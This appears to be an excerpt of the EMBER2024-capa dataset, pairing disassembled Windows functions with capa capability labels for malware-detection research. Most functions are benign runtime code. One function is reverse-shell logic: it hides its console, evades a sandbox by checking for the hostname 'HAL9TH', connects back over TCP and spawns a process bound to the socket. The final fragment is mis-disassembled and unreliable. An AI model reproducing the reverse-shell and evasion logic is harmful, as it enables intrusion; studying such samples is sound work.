joyce8/EMBER2024-capa huggingface dataset:
Function at 0x661ac0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x661c2f
sub rsp, 0x70
mov qword [rsp + 0x68], rbp
lea rbp, [rsp + 0x68]
mov qword [rsp + 0x78], rax
mov rcx, qword [rax + 0x28]
mov rbx, qword [rax + 0x30]
mov rax, rcx
call fcn.0059c3a0
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x50], rbx
nop
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rcx + 0x28]
mov rsi, qword [rcx + 0x30]
mov rax, rdx
mov rbx, rsi
call fcn.0059c3a0
test rdi, rdi
jne 0x661b7f
mov rax, qword [rsp + 0x78]
mov rdx, qword [rax]
mov rax, qword [rax + 8]
cmp rax, 4
jl 0x661b7f
movzx ebx, byte [rdx]
cmp bl, 0x68
je 0x661b34
cmp bl, 0x48
jne 0x661b64
cmp rax, 5
jne 0x661b56
movzx eax, byte [rdx + 4]
nop
cmp al, 0x73
je 0x661b48
cmp al, 0x53
jne 0x661b56
mov eax, 3
lea rcx, [0x0071f6f7]
jmp 0x661b82
mov eax, 2
lea rcx, [0x0071f695]
jmp 0x661b82
cmp bl, 0x73
je 0x661b6e
cmp bl, 0x53
jne 0x661b7a
mov edi, 4
lea rcx, [0x0071f848]
mov rax, rdi
jmp 0x661b82
mov rax, rdi
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x58], rcx
mov rdx, qword [rsp + 0x60]
mov qword [rsp], rdx
mov rbx, qword [rsp + 0x50]
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0x3a
call fcn.00402e80
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0
jl 0x661bfb
xor eax, eax
lea rbx, [0x0071f66c]
mov ecx, 1
mov rdi, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x50]
lea r8, [0x0071f6b9]
mov r9d, 2
mov r10, qword [rsp + 0x58]
mov r11, qword [rsp + 0x48]
call fcn.004471c0
jmp 0x661c25
xor eax, eax
mov rbx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
lea rdi, [0x0071f664]
mov esi, 1
mov r8, qword [rsp + 0x58]
mov r9, qword [rsp + 0x48]
nop dword [rax]
call fcn.004470e0
mov rbp, qword [rsp + 0x68]
add rsp, 0x70
ret
mov qword [rsp + 8], rax
call fcn.00457c40
mov rax, qword [rsp + 8]
nop
jmp fcn.00661ac0

Function at 0x67fa40
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x67faf0
sub rsp, 0x20
mov qword [rsp + 0x18], rbp
lea rbp, [rsp + 0x18]
cmp qword [rax + 0x40], 0
jne 0x67fa74
mov rcx, qword [rax + 0x10]
mov rbx, qword [rax + 0x18]
mov rax, rcx
mov rbp, qword [rsp + 0x18]
add rsp, 0x20
ret
mov qword [rsp + 0x28], rax
mov dword [rax + 0x60], 0x1337
lea rcx, [rax + 0x64]
mov qword [rsp + 0x10], rcx
mov qword [rsp], rcx
call fcn.00461820
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov eax, dword [rsp + 8]
mov rcx, qword [rsp + 0x10]
mov qword [rsp], rcx
or eax, 1
mov dword [rsp + 8], eax
call fcn.004618c0
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x40]
mov ebx, 0x1337
call fcn.005f3f80
mov rbp, qword [rsp + 0x18]
add rsp, 0x20
ret
mov qword [rsp + 8], rax
call fcn.00457c40
mov rax, qword [rsp + 8]
nop
jmp fcn.0067fa40
Function at 0x6838e0
Capabilities:
Hash data using fnv

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x683b33
sub rsp, 0x78
mov qword [rsp + 0x70], rbp
lea rbp, [rsp + 0x70]
mov qword [rsp + 0x88], rbx
mov qword [rsp + 0x80], rax
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0x3a
call fcn.00402e80
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0
jge 0x6839af
mov rbx, qword [rsp + 0x88]
nop
test rbx, rbx
je 0x6839b7
mov rax, qword [rsp + 0x80]
mov ecx, 0xa
mov edi, 0x10
call fcn.0049c9c0
nop dword [rax]
test rbx, rbx
je 0x68397e
mov rax, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x88]
xor ecx, ecx
mov edx, 0x811c9dc5
jmp 0x6839da
mov rbx, qword [0x008f3120]
mov rcx, qword [0x008f3128]
xor eax, eax
mov rdi, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x88]
nop
call fcn.00447040
mov rbp, qword [rsp + 0x70]
add rsp, 0x78
ret
mov rbx, qword [rsp + 0x88]
mov rax, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x70]
add rsp, 0x78
ret
imul edx, edx, 0x1000193
movzx r9d, byte [rax + rcx]
xor edx, r9d
mov rcx, r8
cmp rbx, rcx
jle 0x683a36
movzx r8d, byte [rax + rcx]
cmp r8d, 0x80
jge 0x6839f6
lea r8, [rcx + 1]
cmp rbx, rcx
jmp 0x683a2f
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x2c], edx
nop
call fcn.00452bc0
mov rcx, qword [rsp + 0x88]
mov rax, qword [rsp + 0x30]
cmp rcx, rax
mov rcx, rax
mov edx, dword [rsp + 0x2c]
mov r8, rbx
mov rax, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x88]
ja 0x6839c9
jmp 0x683b27
lea r8d, [rdx + 0x400]
cmp dx, 0x400
cmovb dx, r8w
movzx edx, dx
test rdx, rdx
je 0x683a62
movups xmmword [rsp + 0x3c], xmm15
movups xmmword [rsp + 0x40], xmm15
mov eax, 0x13
jmp 0x683aa3
mov eax, 1
lea rcx, [0x0071f662]
mov rbx, qword [0x008f3120]
mov rdx, qword [0x008f3128]
mov rdi, rcx
mov rsi, rax
xor eax, eax
mov rcx, rdx
call fcn.00447040
mov rbp, qword [rsp + 0x70]
add rsp, 0x78
ret
lea rsi, [rbx + 0x30]
mov byte [rsp + rcx + 0x3c], sil
lea rax, [rcx - 1]
cmp rdx, 0xa
jb 0x683ad2
mov rcx, rax
movabs rax, 0xcccccccccccccccd
mov rbx, rdx
mul rdx
shr rdx, 3
lea rsi, [rdx + rdx*4]
shl rsi, 1
sub rbx, rsi
cmp rcx, 0x14
jb 0x683a96
jmp 0x683b1a
cmp rax, 0x14
jae 0x683b10
add rdx, 0x30
mov byte [rsp + rax + 0x3c], dl
lea rcx, [rax - 0x14]
mov rdx, rcx
sar rcx, 0x3f
and rax, rcx
lea rbx, [rsp + rax + 0x3c]
neg rdx
lea rax, [rsp + 0x50]
mov rcx, rdx
nop
call fcn.004473e0
mov rcx, rax
mov rax, rbx
jmp 0x683a6e
mov ecx, 0x14
call fcn.0045a320
mov rax, rcx
mov ecx, 0x14
call fcn.0045a320
mov rax, rcx
mov rcx, rbx
call fcn.0045a320
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
nop dword [rax]
call fcn.00457c40
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.006838e0
Function at 0x14000b9ac
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140016950], eax
call fcn.14000b730
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_UnhandledExceptionFilter]
cmp dword [0x140016950], 0
jne case.default.0x14000ba02
mov ecx, 1
call fcn.14000b730
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TerminateProcess]
cmp r15b, r9b
cdq
ret
Function at 0x140002af7
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [section..data]
jne 0x14000207a
rol rcx, 0x10
test cx, 0xffff
jne 0x140002076
repz ret
ror rcx, 0x10
jmp 0x140002a50
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140077a50]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140077b48]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140002ad5
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140077a50]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140002af7
mov rax, qword [rsp + 0x88]
mov qword [0x140077b48], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140077ae8], rax
mov rax, qword [0x140077b48]
mov qword [0x1400779c0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140077ad0], rax
mov dword [0x1400779b0], 0xc0000409
mov dword [0x1400779b4], 1
mov rax, qword [section..data]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140076008]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140077a48], eax
mov ecx, 1
call fcn.14000cfd0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140064310]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140077a48], 0
jne 0x140002b7e
mov ecx, 1
call fcn.14000cfd0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140001480
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140021860]
mov dword [rax], 1
mov rax, qword [0x140021870]
mov dword [rax], 1
mov rax, qword [0x140021880]
mov dword [rax], 1
mov rax, qword [0x140021850]
mov dword [rax], 1
mov rax, qword [0x140021700]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400014de
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x14000150a
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x140001530
cmp eax, 0x20b
je 0x140001557
jmp 0x140001586
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x140001543
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000158b
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x140001572
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000158b
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140005a02
Capabilities:
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
cmp qword [rbp + 0x18], 0
je 0x140005a2a
mov rax, qword [rbp + 0x18]
mov rcx, rax
call sym.ozdCStrLen_char_
mov rdx, rax
jmp 0x140005a2f
mov edx, 0
mov rax, qword [rbp + 0x18]
mov r9, qword [rbp + 0x10]
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov qword [rbp - 8], rax
mov rcx, qword [rbp + 0x10]
call sym.fflush
mov dword [rbp - 0xc], eax
nop
add rsp, 0x30
pop rbp
ret

Function at 0x14000f84d
Capabilities:
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov rdx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x18]
mov r9, qword [rbp + 0x10]
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov qword [rbp - 8], rax
mov rcx, qword [rbp + 0x10]
call sym.fflush
mov dword [rbp - 0xc], eax
nop
add rsp, 0x30
pop rbp
ret
Function at 0x140012ce8
Capabilities:
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
lea rax, str.echoBinSafe
mov qword [rbp - 0x48], rax
lea rax, [0x140020188]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x40], 0
mov word [rbp - 0x30], 0
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.14000fc65
mov qword [rbp - 0x40], 0xac5
lea rax, [0x140028340]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov qword [rbp - 0x10], 0
mov qword [rbp - 0x40], 0xd
lea rax, str.C:Users_adminDesktopozd_2.0.2lib_systemiterators.ozd
mov qword [rbp - 0x38], rax
mov qword [rbp - 8], 0
mov qword [rbp - 0x40], 0xe
mov rax, qword [rbp - 8]
cmp rax, qword [rbp + 0x18]
jge 0x140012e50
mov qword [rbp - 0x40], 0xac6
lea rax, [0x140020188]
mov qword [rbp - 0x38], rax
cmp qword [rbp - 8], 0
js 0x140012da3
mov rax, qword [rbp - 8]
cmp rax, qword [rbp + 0x18]
jl 0x140012db7
mov rax, qword [rbp + 0x18]
lea rdx, [rax - 1]
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.raiseIndexError2_long_long__long_long_
mov rax, qword [rbp - 8]
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x10], rax
mov ecx, 1
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
mov rax, qword [rbp - 0x10]
mov rdx, qword [rax + 8]
mov rax, qword [rax]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rdx
lea rax, [rbp - 0x70]
mov r8d, 0
mov rdx, rax
call sym.writeWindows__system_u9051__iobuf__NimStringV2__bool_
mov qword [rbp - 0x40], 0x10
lea rax, str.C:Users_adminDesktopozd_2.0.2lib_systemiterators.ozd
mov qword [rbp - 0x38], rax
mov edx, 0
mov rax, qword [rbp - 8]
add rax, 1
jno 0x140012e2a
mov edx, 1
mov rcx, rax
lea rax, [rbp - 0x58]
mov qword [rax], rcx
mov rax, rdx
and eax, 1
test al, al
je 0x140012e43
call sym.raiseOverflow__
mov rax, qword [rbp - 0x58]
mov qword [rbp - 8], rax
jmp 0x140012d71
nop
mov qword [rbp - 0x40], 0xae1
lea rax, [0x140020188]
mov qword [rbp - 0x38], rax
mov ecx, 1
mov rax, qword [sym.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 1
mov edx, 1
lea rax, [0x140020179]
mov rcx, rax
call sym.fwrite
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x40], 0xae2
mov ecx, 1
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
call sym.fflush
mov dword [rbp - 0x1c], eax
mov qword [rbp - 0x40], 0xae6
lea rax, [0x140028340]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
call fcn.140005ba4
nop
add rsp, 0x90
pop rbp
ret

Function at 0x140015cc0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.ezgzbtfixvoiiebxqpsohjvwin_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov r8, rbx
mov rdx, qword [rbp + 0x20]
mov rcx, rax
call sym.vfprintf
call sym.abort
nop
Function at 0x1400168f2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140028528]
test eax, eax
je 0x14001698a
lea rax, [0x140028500]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140028530]
mov qword [rbp - 8], rax
jmp 0x14001696e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140016962
cmp qword [rbp - 0x10], 0
je 0x140016962
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140016928
lea rax, [0x140028500]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14001698b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140016a90
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140016ab8
mov eax, 0
jmp 0x140016b06
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140016ae1
mov eax, 0
jmp 0x140016b06
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140016b01
mov eax, 0
jmp 0x140016b06
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x140016b0c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x140016b8a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140016b81
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140016b81
mov rax, qword [rbp - 8]
jmp 0x140016b9f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140016b54
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140001070
Capabilities:
Act as tcp client
Check for sandbox username or hostname
Connect socket
Connect tcp socket
Create process on windows
Create tcp socket
Get hostname
Initialize winsock library
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 6
mov rbx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [rbp - 0x40]
mov dword [rbp - 0x40], 0x10
lea rcx, [rbp + 0x190]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
jne 0x1400010de
mov eax, 1
jmp 0x140001272
mov qword [rsp + 0x2c0], rsi
lea rdx, [rbp + 0x190]
xor esi, esi
lea r8, str.HAL9TH
mov eax, esi
nop dword [rax + rax]
movzx ecx, byte [rdx + rax]
inc rax
cmp cl, byte [r8 + rax - 1]
jne 0x14000111d
cmp rax, 7
jne 0x140001100
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 0x202
mov qword [rsp + 0x2c8], rdi
lea rdx, [rbp - 0x10]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140001146
lea rcx, str.The_Winsock_dll_not_found__n
call fcn.140001010
jmp 0x140001159
lea rdx, [rbp + 0x101]
lea rcx, str.The_Winsock_dll_found__status:__s._n
call fcn.140001010
xor r9d, r9d
mov dword [rsp + 0x28], esi
mov edi, 2
mov dword [rsp + 0x20], esi
mov ecx, edi
lea edx, [r9 + 1]
lea r8d, [r9 + 6]
call qword [sym.imp.WS2_32.dll_WSASocketA]
mov ecx, 0xc61
mov word [rbp - 0x38], di
mov rbx, rax
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.127.0.0.1
mov word [rbp - 0x36], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
lea r8d, [rdi + 0xe]
mov rcx, rbx
lea rdx, [rbp - 0x38]
mov dword [rbp - 0x34], eax
call qword [sym.imp.WS2_32.dll_connect]
mov rdi, qword [rsp + 0x2c8]
test eax, eax
je 0x1400011e2
nop dword [rax]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 0x10
lea rdx, [rbp - 0x38]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x1400011c0
xorps xmm0, xmm0
mov qword [rbp - 0x50], rbx
movups xmmword [rbp - 0x60], xmm0
lea rax, [rbp - 0x28]
mov qword [rbp - 0x60], rbx
mov qword [rsp + 0x48], rax
lea rdx, [0x14000230c]
lea rax, [rsp + 0x50]
mov qword [rbp - 0x58], rbx
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rsi
xor r8d, r8d
mov qword [rsp + 0x30], rsi
xor ecx, ecx
movups xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x28], 0x8000000
movups xmmword [rbp - 0x80], xmm0
mov dword [rsp + 0x20], 1
movups xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x50], 0x68
movups xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x74], 0x100
movups xmmword [rbp - 0x70], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rsi, qword [rsp + 0x2c0]
xor eax, eax
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.1400012b0
mov rbx, qword [rsp + 0x2d0]
add rsp, 0x2b0
pop rbp
ret
Function at 0x140001b70
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001bba
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001bba
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001bba
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001bba
cmp dword [rcx + 0x84], 0xe
jbe 0x140001bba
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001bbc
xor al, al
add rsp, 0x28
ret
Function at 0x1400094b0
Capabilities:
Parse credit card information

Disassembly:
adc byte [rdi], cl
mov dh, 0
movsx eax, al
cmp eax, 0x7c
je 0x14000953b
cmp eax, 0x7c
jg 0x140009b19
cmp eax, 0x5b
je 0x140009505
cmp eax, 0x5b
jg 0x140009b19
add byte [rax], al
cmp eax, 0x23
je 0x14000951b
cmp eax, 0x23
jg 0x140009b19
cmp eax, 8
je 0x140009531
cmp eax, 0x1b
jne 0x140009b19
mov rax, qword [rbp + 0x10]
mov rcx, rax
call fcn.140002b20
mov eax, 0x20ea
jmp 0x140009b1e
mov rax, qword [rbp + 0x10]
mov rcx, rax
call fcn.14000154c
mov eax, 0x1dbc
jmp 0x140009b1e
mov rax, qword [rbp + 0x10]
mov rcx, rax
call fcn.140004def
mov eax, 0x1625
jmp 0x140009b1e
mov eax, 0x129c
jmp 0x140009b1e
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, byte [rax]
movsx eax, al
cmp eax, 0x6a
je 0x140009596
cmp eax, 0x6a
jg 0x140009b0b
cmp eax, 0x41
je 0x140009b0e
cmp eax, 0x41
jg 0x140009b0b
cmp eax, 0x3b
je 0x140009b11
cmp eax, 0x3b
jg 0x140009b0b
cmp eax, 0x1c
je 0x1400099af
cmp eax, 0x1f
je 0x140009afd
jmp 0x140009b0b
mov rax, qword [rbp - 8]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
movzx eax, byte [rax]
movsx eax, al
cmp eax, 0x7c
je 0x14000984f
cmp eax, 0x7c
jg 0x140009985
cmp eax, 0x78
je 0x14000998b
cmp eax, 0x78
jg 0x140009985
cmp eax, 0x75
je 0x14000983e
cmp eax, 0x75
jg 0x140009985
cmp eax, 0x6c
je 0x140009991
cmp eax, 0x6c
jg 0x140009985
cmp eax, 0x3e
je 0x140009997
cmp eax, 0x3e
jg 0x140009985
add byte [rax], al
cmp eax, 0x2e
je 0x14000999d
cmp eax, 0x2e
jg 0x140009985
cmp eax, 0x2d
je 0x140009681
cmp eax, 0x2d
jg 0x140009985
cmp eax, 0x1c
je 0x1400099a3
cmp eax, 0x1c
jg 0x140009985
cmp eax, 0x17
je 0x1400098fc
cmp eax, 0x17
jg 0x140009985
cmp eax, 0xf
je 0x1400099a9
cmp eax, 0xf
jg 0x140009985
cmp eax, 0xc
je 0x140009871
cmp eax, 0xc
jg 0x140009985
cmp eax, 6
je 0x140009882
cmp eax, 0xa
je 0x140009860
jmp 0x140009985
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, byte [rax]
movsx eax, al
cmp eax, 0x79
je 0x1400097fa
cmp eax, 0x79
jg 0x140009808
cmp eax, 0x67
je 0x14000980e
cmp eax, 0x67
jg 0x140009808
cmp eax, 0x4f
je 0x140009814
cmp eax, 0x4f
jg 0x140009808
cmp eax, 0x42
je 0x14000981a
cmp eax, 0x42
jg 0x140009808
cmp eax, 0x3c
je 0x140009820
cmp eax, 0x3c
jg 0x140009808
cmp eax, 0x37
je 0x140009826
cmp eax, 0x37
jg 0x140009808
invalid